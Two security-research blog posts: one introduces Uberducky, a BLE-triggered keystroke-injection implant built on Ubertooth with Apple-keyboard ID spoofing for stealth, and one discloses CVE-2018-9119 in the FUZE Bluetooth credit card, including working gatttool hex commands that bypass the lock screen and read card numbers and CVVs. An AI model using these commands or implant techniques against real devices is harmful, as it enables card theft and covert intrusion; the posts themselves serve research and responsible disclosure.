I'm excited to announce a new tool: Uberducky, a wireless USB Rubber Ducky that can be triggered via BLE. If you have an Ubertooth One I would love you to give it a try. Instructions for building and using it are in the GitHub repo.
This post covers why I decided to build Uberducky and the technicial details on how it's actually built.
Backstory
I recently found myself in a situation where I needed a shell on a laptop. The usual methods wouldn't work: all network-accessible services were disabled on the laptop, and the owner of the laptop was a hard target with good screen locking discipline so a USB Rubber Ducky wouldn't do the trick. I did identify one weak point: the monitor that the laptop was regularly plugged into had USB ports hidden on the back. Ideally I'd be able to plug in something like a USB Rubber Ducky that I could trigger remotely. Distract the target while their screen is unlocked, send the signal, and the backconnect shell drops.
This is not a new idea: the Cactus WHID is an inexpensive tool for doing exactly this. In its default configuration, it broadcasts a WiFi network named "Exploit" that allows you to configure a duckyscript payload and trigger it remotely. Out of the box it's not the stealthiest option, but it's very cool and definitely worth a look.
I've worked extensively with Ubertooth (having written most of the BLE sniffing code) and I thought the platform would be a great fit for something a little stealthier. It has a USB microcontroller on which it is possible to implement the USB HID spec, and it has a generic radio that can be coerced to speak something akin to BLE.
Building Uberducky
The project started out as an empty firmware for Ubertooth because the main repo is too crufty. I did submodule in the main repo, as well as copying the firmware Makefiles into the root of the project. Quite a bit goes into bringing up the platform, but it's entirely hidden behind ubertooth_init(). While the Ubertooth repo wasn't really designed for out-of-tree builds like this, it was surprisingly painless to make it all work. Check out Makefile and common.mk if you're interested.
As a starting point, I made a very simple PoC that would inject a random keystroke at intervals. LPCUSB is the USB stack used by Ubertooth, and it comes with rudimentary HID example code. In no time flat I was injecting random keystrokes every few seconds.
I ran into my first snag at this point: if you insert the example HID keyboard into an Apple computer, it pops open a dialog asking you to press certain keys so it can identify the layout. This obviously won't work for stealthy keystroke injection, so I needed to find a way to prevent this from happening. I knew that this dialog does not open on plugging in Apple branded keyboards, so I theorized that the OS uses the USB vendor and product IDs to determine whether the keyboard has a known layout. Fortunately these values can be set within LPCUSB, and sure enough by changing them to an Apple keyboard (05ac:2227) the dialog never opened.
Just injecting one keystroke wasn't very interesting, so I set to expanding to a complete alphabet. I've implemented HID before over BLE so it wasn't completely new to me. See my BLE Slide Quacker and some older work I did hacking Bluetooth keyboards. General HID is extremely flexible, but keyboards can be implemented very simply. Every time a key is pressed or released, the keyboard sends an 8 byte report via a USB interrupt descriptor. The first byte encodes modifiers (such as control and shift) using a bitfield, and the third byte encodes all other keys. I'm not sure what the other six bytes are used for, so I left them all set to 0 and was never an issue!
In order to learn the HID keycodes as well as perform general debugging of my implementation, I used Linux's debugfs capabilities. Under most kernels from the last few years, this is mounted under /sys/kernel/debug. HID devices show up under /sys/kernel/debug/hid/[hex_string]/, and you can watch the reports come in live by cat'ing the events file. I used a normal keyboard and pressed each key, making note of the value of the report descriptor. I later found a handful of HID keycode tables online and the values matched up.
At this point it was a SMOP (small matter of programming) to convert a given key and set of modifiers into a valid HID report. You can see the code in hid.c.
Injecting Duckyscript
The goal, of course, was to inject a sequence of keystrokes that would cause the target system to perform some malicious action. The people behind the USB Rubber Ducky invented a scripting language called Duckyscript to simplify this process and make it possible to share such scripts.
Duckyscript is designed for humans to read and write, but trying to implement a bulky parser on the microcontroller doesn't make much sense. Instead I wrote a Python parser to compile Duckyscript down into a binary language that's suitable for use on the MCU. The parser outputs a C file with an array that gets compiled into the firmware.
On the microcontroller, I use a state machine driven by the LPC1752's timer peripheral to run the script and actually do the keystroke injection. TIMER0 is configured to tick with a 1 millisecond period, and by using the match registers it is possible to cause an interrupt to occur at any given time. I chose 1 ms because Duckyscript encodes delays in units of milliseconds, and a single keypress takes around 10 ms to complete. The state machine lives in uberducky.c.
The compiled version of Duckyscript uses four opcodes: key, delay, string, and repeat. Key is a single keypress usually combined with a modifier, such as control-v, windows, or any printable ASCII character. Delay pauses the script for a specified number of ms. String is a sequence of characters all typed in a row, such as "echo hello". Repeat will repeat the previous opcode one or more times.
With the Duckyscript injector completed, the Ubertooth hardware was acting effectively as a clone of a real USB Rubber Ducky. As soon as it was inserted to a computer, it would run the script and inject the keystrokes. Now I just needed a way to trigger it wirelessly.
Triggering via BLE
For initial testing, I abused some of the range testing code from Ubertooth to trigger the Duckyscript injection using a second Ubertooth. While I personally have a lot of Uberteeth, most people probably only have one and wouldn't like to spend an extra $120 just for triggering their Uberducky. Ultimately I wanted a mechanism that would be accessible for most people with a single Ubertooth as well as being nearly impossible to accidentally trigger.
The author owns many Uberteeth
BLE advertising packets make the perfect solution. Nearly every laptop and smart phone from the past five years can speak BLE, and while a full link layer is complex just receiving advertising packets is very simple. Set the CC2400 to listen on one of three advertising channels, set the modulation parameters to match those of BLE, set the correct access code, and dewhiten the data received from the air.
I initially planned to lift some of the BLE code from Ubertooth, but like the rest of the firmware it is not written modularly and is overly complex for the task at hand. Instead I implemented it as simply and stupidly as possible using the CC2400's built-in FIFO. When a packet is received, the 32 byte FIFO fills. Once it is full, the radio stops receiving and goes into idle mode. Normally you might parse the packet header to read the length and turn off the radio when the full packet is received, but that would take more lines of code! Instead, Uberducky blindly receives 32 bytes no matter what, even if we're just decoding random radio noise. All the BLE code fits into fewer than 100 lines, check it out in ble.c.
The FIFO trick allows us to receive any advertising packet sent on a given channel, but we still need a trigger. Instead of even attempting to parse the packet, Uberducky searches for a magic 128-bit string of bytes anywhere within the packet. The magic string is defined at compile time and can be changed to suit the user's needs.
That only leaves us with how to send the trigger. Once again, a second Ubertooth is the simplest approach, but normal BLE devices also have a mechanism for sending 128-bit values: by including a list of 128-bit UUIDs in the AD data section of the advertising packet. The only trick is that the UUID needs to be within the first 32 bytes of the packet.
On Linux, it's possible to do this with the following commands:
This very briefly sets the system to advertise with the specified UUID and then disables advertising. The only caution is that if the script is very short it can be triggered multiple times.
It is possible to similar tricks on other OSes, but that is left as an exercise to the reader.
Wishlist
There are a few things I'd love to implement in the medium to long term. Primarily I'd like the ability to update the Duckyscript or trigger UUID without reflashing the entire firmware. It would also be nice to change the magic UUID in the same way.
I envision two possible approaches. The first is to implement a USB serial port. While this reduces stealthiness, it is very straightforward and accessible. A second (and cooler) approach would be to implement a wireless protocol that could be managed using a second Ubertooth. The dream, of course, is to drive it entirely from BLE, but that would entail building an entire link layer to run on Ubertooth. Easier said than done!
Finally, I would love to see ways of triggering it from other platforms. In particular, OS X or Android would be stupendous and I imagine not much code.
If these ideas or any others strike your fancy, I will happily accept pull requests on GitHub.
Parting thoughts
Please give Uberducky a try and let me know if it works for you! I'm a little suspect that my Duckyscript parser and injection are 100% complete and accurate, so bug reports are certainly welcome.
This article covers FUZE Card, a Bluetooth-enabled reprogrammable credit card. The size and shape of a regular credit card, FUZE promises to be "your whole wallet in one card."
After receiving a FUZE Card from @MBHbox (his blog), I decided to take a careful look at it. In the process, I X-rayed the card, fully reverse engineered its Bluetooth protocol, and found a security vulnerability that allows credit card numbers to be stolen via Bluetooth (CVE-2018-9119).
ICE9 reported this vulnerability to BrilliantTS, the maker of FUZE, but they did not respond to repeated follow-ups and did not take action on the basis of our report. As of this writing, CVE-2018-9119 continues to be exploitable on production FUZE Cards in the wild.
Update 2018-04-07: BrilliantTS reached out to ICE9 and informed us that they were already aware of this issue and are planning to release an updated firmware on 2018-04-19. They have also added a security@fuzecard.com email address so issues can be more easily reported in the future. Refer to their security notice for further details. I applaud BrilliantTS for taking steps to remediate this issue once it reached their attention.
The remainder of this article is organized into the following sections:
FUZE is an IoT device the size, shape, and thickness of a normal credit card. You program credit cards into it via Bluetooth (BLE) using a smart phone app. When you go to pay, you use the buttons and e-Paper display to select which card to emulate. The magnetic stripe reprograms itself to impersonate that card, and then FUZE can be swiped like a regular credit card.
To configure FUZE and add or remove credit cards, BrilliantTS publishes an app called eCARD Manager. To add a card, you must swipe it on your phone using an included card reader that plugs into the headphone jack (like a Square dongle). I found this process to be extremely unreliable, taking in excess of 20 swipes to finally accept my card. BrilliantTS claims FUZE can hold up to 30 cards.
FUZE does attempt to provide some level of security. When you set up FUZE for the first time you are prompted to configure a passcode as a sequence of six button presses, although this step can be skipped. With a passcode configured, the device remains locked unless you manually unlock it or your smartphone is nearby. In the locked state, you can't access any of the data on the card or program the magstripe. It also has a higher security mode in which the card will only function when it is connected to a phone via Bluetooth.
Based on promotional images on their site, BrilliantTS plans to release a version with EMV (chip) support. At the time of this writing, only the magnetic stripe version is available. The card also contains NFC circuitry to support contactless payment, but this does not work with the latest firmware.
X-ray hardware "teardown"
I wanted to get an understanding of how the device was built. With a typical IoT device, this usually involves removing the case with a few screws or a spudger and taking a glance at the PCB. At worst you're foiled by an epoxy-encased die.
In the case of FUZE, the device is a solid construction that is a mere 0.03" thick. It may be possible to very carefully remove the plastic packaging, but I only had one and did not want to risk destroying it.
X-ray imaging is great in this scenario. I reached out to John McMaster who has taken X-rays for me in the past. He captured the following image, which I have annotated:
From the image we can see some key features of FUZE's architecture. The main chips on the board are a microcontroller, an e-Paper driver, and a Bluetooth SoC. A number of features are present on the board but are not used, including NFC and EMV (chip card support).
The footprint of the Bluetooth chip is some BGA variant, and the ball land pattern is somewhat unique. With a little sleuthing, Alvaro Prieto[twitter] was able to pinpoint it to the CSR1013. Similar to the nRF51, the CSR101x series is a complete system-on-chip (SoC) with the ability to run custom code. Some of the application code likely lives on the CSR1013.
The microcontroller is an unidentified 68 pin QFP. The bulk of the application likely runs on this, including the code for displaying the screen, button input, and yet-to-be implemented NFC and EMV functionality. The QFP next to the microcontroller is likely a driver for the e-Paper display.
BrilliantTS plans to release a version of FUZE with EMV support, and their site has marketing images of that variant of the card. It is interesting (but not surprising) to note that they use a single board design for both cards. On the magstripe version of the card, the plastic packaging simply covers the smart card contacts for EMV.
A bit of Googling does reveal some press release and marketing photos showing the inside of the card. A review on Seoul Space shows a bare board for a prototype version of the card, and FUZE's main site includes a promotional photo of the hardware stackup.
Bluetooth Reverse Engineering
For a piece of technology like FUZE, the Bluetooth interface is of primary interest for reverse engineering. My toolchest for reverse engineering a Bluetooth device:
Android is absolutely indispensable for performing a blackbox analysis of a Bluetooth device. Out of the box, we can log all Bluetooth traffic from an app to a device. It is also possible to modify app code directly by disassembling and reassembling the Java bytecode, but I didn't have to perform any such app surgery on this assessment.
Burp acts as an HTTP proxy and allows you to inspect API requests made by the Android app to backend servers. Although it wasn't critical for understanding how the FUZE card worked, it did provide some clues.
Android ships a feature called "HCI snoop log" in the "Developer options" settings menu. Enabling this feature saves all Bluetooth activity on the phone to a file, and that includes every message exchanged between the app and device.
Wireshark can read the files produced by Android's HCI snoop log. It's useful for doing basic analysis and filtering. For bulk and semi-automated analysis I like to export the data to text files and munge them using Perl.
Finally, gatttool (and other BlueZ tools) can be used to probe the device directly. It's often useful to take a quick peek with gatttool before even firing up the app. It shines during analysis for experimenting with sending and receiving partially understood protocol messages.
Reversing FUZE
Using gatttool to connect to FUZE not work out as well as hoped. Immediately upon connecting to the card, it sends a "Security Request" over the Security Manager Protocol. This is the card demanding that we pair with it, which is actually uncommon among IoT devices in my experience. BLE's pairing protocol is known to be flawed and most devices implement their own security instead of relying on it. FUZE absolutely refuses to send any data to a device that isn't paired with it and isn't using BLE link layer encryption.
Since gatttool didn't work out, I moved onto my Android-based reverse engineering approach, which looks something like this:
Enable Bluetooth HCI snoop on Android
Do things in the app and with the card
Transfer HCI log to PC using adb
Review in Wireshark
Filter / export as text
Parse with crusty Perl
Smash face against keyboard repeatedly
Loading and filtering the data in Wireshark allowed me to discern that FUZE uses two characteristics for communication: the app writes to the card using write requests on one handle, and receives responses via notifications on another handle. This is extremely common, as it allows developers to treat the BLE channel almost as though it were a TCP socket or serial port.
Reverse engineering by eye in Wireshark
Eyeballing the data in Wireshark left me more hopeful. A great aspect of HCI snoop logging is that the data is captured before it is encrypted by the hardware Bluetooth chip on the phone. The plaintext data included some ASCII strings, and repeated application of step 7 led me to begin to understand some of the protocol format.
Wireshark does not lend itself well to bulk analysis, but it provides a rich set of export utilities to allow for post processing. It is a total hack, but I have had the best luck using "Export Packet Dissections" -> "As Plain Text". Before exporting, expand the "Attribute Protocol" dissection to show the data sent over the air. In the export window, ensure "Details" includes "As displayed". Finally a bit of gross Perl turns this into something I can work with.
At this point, I revisited gatttool. Using bluetoothctl I was able to scan for and pair with the card. It requires the use of Numeric PIN pairing mode in which a 6 digit number is displayed on FUZE's screen that must be entered in the client (a VM running BlueZ) to successfully pair. Once pairing is completed and encryption is established, the device happily responds to GATT messages over the Attribute Protocol.
First up was replaying some messages from the Wireshark dumps. I noticed one message was consistently occurring near the beginning of the conversation:
When sending the first line using gatttool, the second and third lines are reliably sent back. Parsing the data by eye a bit, version numbers become apparent for the hardware, microcontroller firmware, and BLE firmware.
That's interesting, but the very first message being sent is even more interesting:
As soon as this message is sent, the FUZE lock screen turns off and the main menu appears. This is implemented for user convenience, so the card is automatically unlocked when it is near a paired smart phone.
From here it is a matter of staring, thinking, a little experimentation, but mostly staring and thinking. This part should sound familiar to anyone who's ever reverse engineered anything.
Ultimately I was able to reverse engineer the majority of the protocol messages: including the message format and supported operations.
YY - total number of GATT write requests for the current operation
ZZ - current write request number
.. - message body
WW - checksum
I determined the following opcodes through a mix of interpreting messages I captured as well as light fuzzing:
b3 - upload a payment or membership card
b4 - delete a synced card
b5 - possibly change card information (discovered through fuzzing)
b6 - possibly reorder cards (discovered through fuzzing)
b9 - set card owner name (displayed on powered off screen)
ba - unknown function (discovered through fuzzing)
bb - set security level
bc - get total number of cards
bd - unknown function, related in some way to card index (discovered through fuzzing)
be - fetch a payment or membership card
bf - get card owner name
c4 - turn off passcode screen
c5 - set or disable passcode
c6 - factory reset
c7 - enable or disable data blind
d1 - enter firmware update mode
d2 - firmware update data
d3 - related to firmware update
d4 - related to firmware update
ea - fetch battery level
f5 - fetch hardware rev, Bluetooth firmware version, and MCU firmware version
The checksum is calculated by performing an exclusive-or (xor) of all message bytes except the initial 02. Props to Jason Benaim for identifying this highly secure Game Boy style checksum.
I looked briefly at the firmware update process, but I did not dive deeply. Since I only have one card, I knew I wasn't going to attempt any firmware flashing shenanigans. I was able to capture two MCU firmware samples by snooping the HTTP requests using Burp. The two samples are both high entropy, nearly the same size, and quite dissimilar in content. This suggests that they are encrypted. Without further analysis, it's not possible to say if they are signed or validated in any way during the firmware update process.
The BLE firmware update occurs over CSR's in-house OTA update protocol. I am not aware of any security analysis of this protocol. It would be interesting to study and understand, as I'm sure it is used by other devices with this or similar CSR BLE SoCs.
Security vulnerability and exploit PoC
With an understanding of the Bluetooth protocol used by FUZE (see previous section), ICE9 discovered CVE-2018-9119: an attacker with physical access to a FUZE Card can perform the following actions:
Bypass the lock screen
Read credit card numbers, with expiration date and CVV
Tamper with data on the card
At the time of this writing, the vulnerability has not been patched and remains exploitable on all production FUZE Cards.
This vulnerability affects MCU firmware 0.1.73 and BLE firmware 0.7.4, the most recently released versions of both.
Update 2018-04-07: BrilliantTS plans to release an updated firmware on 2018-04-19. See the beginning of this article for full details.
The attacker must have physical access to the card because of how the card uses BLE link layer security. In addition to encrypting data, BLE link layer security acts as an authentication mechanism. If you aren't paired with the FUZE card, it will reject every message you send to it. Although BLE link layer security has well known weaknesses (also discovered by ICE9), it works reasonably well for FUZE's use case.
Where FUZE went right was using the Numeric PIN pairing mode. When you pair with FUZE, the card displays a 6 digit random number on its e-Paper screen. You must enter this on your phone (or Linux attack VM) in order for pairing to succeed. If you attempt to pair with a card that is not in your possession, you will have a one in a million chance of guessing the 6 digit pairing code correctly.
Rigorous testing indicated that it was not possible to bypass the pairing requirement, and also it was not possible to downgrade to a weaker pairing mechanism (Just Works) that does not require entering a passcode.
Some may argue that the physical access requirement makes this vulnerability uninteresting. I would like to emphasize two points: the first is that handing a credit card to strangers is a normal part of making many types of purchases, so it is impossible to ensure that the card is not tampered with out of sight. Secondly, the card presents itself as more secure than a normal credit card with its use of a lock screen. As demonstrated by this weakness, that is a false sense of security.
Proof-of-Concept Exploit
ICE9 developed a proof-of-concept exploit that can be run from a Linux system or VM. The exploit has been tested in Debian Stretch inside VMware using a BLE dongle via USB passthrough. This attack requires BlueZ to be installed.
First, scan for and pair with the device using bluetoothctl:
Launch bluetoothctl: sudo bluetoothctl
Enable the agent (used for pairing): agent on
Scan for devices: scan on
Once a FUZE Card is found, disable scanning: scan off
Pair wih the FUZE Card: pair <bdaddr>
Enter the Numeric PIN displayed on the device
Disconnect from the card: disconnect <bdaddr>
Pairing with the FUZE Card
From here, it is possible to send commands to the card using gatttool:
Launch gatttool: sudo gatttool -I -b <bdaddr>
Connect to the device: connect
Subscribe to notifications: char-write-req 1b 0100
Send commands: char-write-req 18 <command data>
The following commands are of interest:
02c40101300000000000000000000000000000f4
02be01013030310000000000000000000000008f
The first will bypass the lock screen, and the second will read the first credit card number, expiration date, and CVV.
Stealing credit card numbers via Bluetooth
Disclosure to BrilliantTS
ICE9 disclosed the details of this vulnerability to BrilliantTS via email on the following timeline:
2018-01-30 - Initial email to info@fuzecard.com and support@fuzecard.com
2018-01-31 - Follow-up email sent
2018-02-04 - Third follow-up sent
2018-02-05 - Response received from BrilliantTS (FUZE tech support individual)
2018-02-06 - Report sent to FUZE tech support individual
2018-02-09 - Follow-up sent to FUZE tech support individual
2018-02-13 - Final follow-up sent to FUZE tech support individual
2018-03-22 - Disclosure period expired
The report included a complete description of the vulnerability, proof-of-concept exploit code, and noted that ICE9's standard disclosure period is 45 days. BrilliantTS did not respond to any message after the report was delivered, and the 45 day disclosure period has since expired.
As of this writing, BrilliantTS has not released a firmware update for the FUZE Card.
Cracking the Encryption
For completeness, I will note that the Numeric PIN pairing mode (along with other LE Legacy Pairing modes) is vulnerable to a brute force attack if an attacker is able to sniff the pairing conversation. I consider this an unlikely scenario with FUZE. It's likely that the user will pair in a secure location (such as their home), far from attackers. When they go to use the card, the phone and card use the previously established encryption key. During this phase of encryption, there are no known weaknesses.
Nonetheless, as a proof-of-concept, I was able to sniff a pairing conversation and crack it using crackle.
A few words about Coin
Some readers of this article probably remember that FUZE is not the first attempt at a Bluetooth credit card. Way back in the ancient days of 2013, Coin announced a similar product, and delivered it to users by 2015. Fitbit acquired coin in 2016 and killed the product and backend by 2017.
From the X-ray it is clear that Coin is a much simpler design than FUZE.
Like FUZE, Coin is the size and thickness of a regular credit card and communicates via Bluetooth. It has a simpler TN LCD segment-based screen and only a single button. Even still, it also has a passcode feature similar to FUZE. Unlike FUZE, the battery is not rechargeable, and users were expected to return their cards for replacement every two years.
One key way in which FUZE attempts to differentiate itself is by including NFC and EMV support. At the time of this writing, neither of those features is available, so it's a moot point.
I never owned a Coin device, so I can't say how its security compared to FUZE. To the best of my knowledge, nobody ever succeeded in extracting credit card numbers from Coin over Bluetooth. However, since the product is completely dead, it's again a moot point.
Conclusion
Some IoT ideas are unusually sticky. No matter how bad they sound, someone goes out and makes them. A Bluetooth credit card meets this definition for me. With Apple Pay, Google Pay, and other contactless payments shaking up the payments industry, I don't see a lot of value in a Bluetooth credit card. Even with those options available, I still see myself carrying around ordinary credit cards for the foreseeable future. At the end of the day, the risks of a Bluetooth card aren't worth the questionable convenience benefit.
If you would like to hear more and you're in the Bay Area, I will be presenting my research on FUZE Card at the Mountain View Reverse Engineering Meetup (in Santa Clara) on Wednesday April 11, 2018 at 8 PM.
ICE9 Consulting is an independent security firm specializing in Bluetooth and IoT. For more information, visit our main site.
